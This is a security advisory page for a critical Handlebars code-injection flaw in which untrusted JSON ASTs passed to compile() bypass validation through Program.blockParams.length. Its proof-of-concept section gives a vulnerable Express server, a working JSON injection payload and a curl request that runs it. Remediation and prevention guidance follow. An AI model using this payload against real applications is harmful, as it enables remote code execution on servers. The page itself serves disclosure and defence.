Skip to content

GHSA-8r5x-fm3f-whwj CVE-2026-106446

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

Critical npm
Severity
9.8 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.79%
Chance of exploitation in the next 30 days. Higher than 56.14% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
4.7.10
Upgrade handlebars to this version or later

Description

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value Written into generated code as Compile options needed
Program.blockParams.length container.program(<index>, data, <length>) none (default options)
depth on a param that is not a PathExpression, e.g. a StringLiteral depths[<depth>] stringParams: true
A StringLiteral.value that is not a string raw JavaScript literal stringParams: true
A PathExpression.original that is not a string raw JavaScript literal stringParams: true

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

  1. the blockParams object has no type, so none of the type-specific checks apply, and
  2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

  1. Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);
  1. Save this request body as poc.json. missingHelper does not need to exist:
{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}
  1. Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

  • compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
  • precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
    if (typeof templateInput !== 'string') {
      throw new TypeError('Template must be a string');
    }
    
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams

Variant BooleanLiteral|NumberLiteral.value

Variant PathExpression.depth

Affected versions

npm

PackageVulnerableFixed in
handlebars
>= 4.0.0, < 4.7.10
4.7.10

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

handlebars npm → 4.7.10

npm
npm install handlebars@4.7.10
yarn
yarn add handlebars@4.7.10
pnpm
pnpm add handlebars@4.7.10

Severity breakdown

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-p8wg-vrv2-v86f
Handlebars: JavaScript Injection via Own Property Check Bypass
Critical Also affects handlebars
GHSA-xw65-4hp5-5hc7
Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates
Medium Also affects handlebars
GHSA-7rx3-28cr-v5wh
Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry
Medium Also affects handlebars
GHSA-442j-39wm-28r2
Handlebars.js has a Property Access Validation Bypass in container.lookup
Low Also affects handlebars
GHSA-xjpj-3mr7-gcpf
Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
High Also affects handlebars
GHSA-xhpv-hc6g-r9c6
Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial
High Also affects handlebars
GHSA-9cx6-37pm-9jff
Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation
High Also affects handlebars
GHSA-3mfm-83xf-c92r
Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
High Also affects handlebars
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor